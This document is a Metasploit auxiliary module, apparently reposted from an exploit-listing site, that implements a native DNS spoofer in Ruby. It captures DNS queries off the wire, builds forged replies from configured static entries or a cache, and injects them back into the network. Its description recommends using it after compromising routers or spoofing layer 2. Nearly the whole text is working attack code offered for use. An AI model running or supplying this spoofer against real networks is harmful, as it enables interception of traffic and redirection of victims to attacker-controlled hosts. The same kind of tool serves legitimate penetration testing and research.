Share
## https://sploitus.com/exploit?id=PACKETSTORM:180907
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Capture  
include Msf::Exploit::Remote::DNS::Client  
include Msf::Exploit::Remote::DNS::Server  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Native DNS Spoofer (Example)',  
'Description' => %q{  
This module provides a Rex based DNS service to resolve queries intercepted  
via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings  
desired for spoofing using a hostsfile or space/semicolon separated entries.  
In the default configuration, the service operates as a normal native DNS server  
with the exception of consuming from and writing to the wire as opposed to a  
listening socket. Best when compromising routers or spoofing L2 in order to  
prevent return of the real reply which causes a race condition. The method  
by which replies are filtered is up to the user (though iptables works fine).  
},  
'Author' => 'RageLtMan <rageltman[at]sempervictus>',  
'License' => MSF_LICENSE,  
'References' => [],  
'Actions' => [  
[ 'Service', { 'Description' => 'Serve DNS entries' } ]  
],  
'PassiveActions' => [  
'Service'  
],  
'DefaultAction' => 'Service',  
'Notes' => {  
'Reliability' => [],  
'SideEffects' => [],  
'Stability' => []  
}  
)  
)  
  
register_options(  
[  
OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),  
OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])  
]  
)  
  
deregister_options('PCAPFILE')  
end  
  
#  
# Wrapper for service execution and cleanup  
#  
def run  
start_service  
capture_traffic  
service.wait  
rescue Rex::BindFailed => e  
print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"  
end  
  
def cleanup  
super  
@capture_thread.kill if @capture_thread  
close_pcap  
end  
  
#  
# Generates reply with src and dst reversed  
# Maintains original packet structure, proto, etc, changes ip_id  
#  
def reply_packet(pack)  
rep = pack.dup  
rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst  
rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst  
if pack.is_udp?  
rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst  
else  
rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst  
end  
rep.ip_id = StructFu::Int16.new(rand(2**16))  
return rep  
end  
  
#  
# Configures capture and handoff  
#  
def capture_traffic  
check_pcaprub_loaded  
::Socket.do_not_reverse_lookup = true # Mac OS X workaround  
open_pcap({ 'FILTER' => datastore['FILTER'] })  
@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do  
each_packet do |pack|  
begin  
parsed = PacketFu::Packet.parse(pack)  
rescue StandardError => e  
vprint_status('PacketFu could not parse captured packet')  
elog('PacketFu could not parse captured packet', error: e)  
end  
  
begin  
reply = reply_packet(parsed)  
service.dispatch_request(reply, parsed.payload)  
rescue StandardError => e  
vprint_status('Could not process captured packet')  
elog('Could not process captured packet', error: e)  
end  
end  
end  
end  
  
#  
# Creates Proc to handle incoming requests  
#  
def on_dispatch_request(cli, data)  
return unless cli.is_a?(PacketFu::Packet)  
  
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)  
  
# Deal with non DNS traffic  
begin  
req = Packet.encode_drb(data)  
rescue StandardError => e  
print_error("Could not decode payload segment of packet from #{peer}, check log")  
dlog e.backtrace  
return  
end  
  
answered = []  
# Find cached items, remove request from forwarded packet  
req.question.each do |ques|  
cached = service.cache.find(ques.qname, ques.qtype.to_s)  
if cached.empty?  
next  
else  
cached.each do |subcached|  
req.add_answer(subcached) unless req.answer.include?(subcached)  
end  
  
answered << ques  
end  
end  
  
if (answered.count < req.question.count) && service.fwd_res  
if req.header.rd == 0  
vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")  
else  
forward = req.dup  
forward.question.delete_if { |question| answered.include?(question) }  
begin  
forwarded = service.fwd_res.send(Packet.validate(forward))  
rescue NoResponseError  
vprint_error('Did not receive a response')  
return  
end  
  
unless service.cache.nil?  
forwarded.answer.each do |ans|  
rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name  
vprint_status("Caching response #{rstring} #{ans.type}")  
service.cache.cache_record(ans)  
end  
end  
  
# Merge the answers and use the upstream response  
req.answer.each do |answer|  
forwarded.add_answer(answer) unless forwarded.answer.include?(answer)  
end  
req = forwarded  
end  
end  
  
req.header.qr = true  
service.send_response(cli, req.encode)  
end  
  
#  
# Creates Proc to handle outbound responses  
#  
def on_send_response(cli, data)  
return unless cli.is_a?(PacketFu::Packet)  
  
cli.payload = data  
cli.recalc  
inject cli.to_s  
sent_info(cli, data) if datastore['VERBOSE']  
end  
  
#  
# Prints information about spoofed packet after injection to reduce latency of operation  
# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms  
#  
def sent_info(cli, data)  
net = Packet.encode_net(data)  
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)  
asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')  
vprint_good("Sent packet with header:\n#{cli.inspect}")  
vprint_good("Spoofed records for #{asked} to #{peer}")  
end  
  
end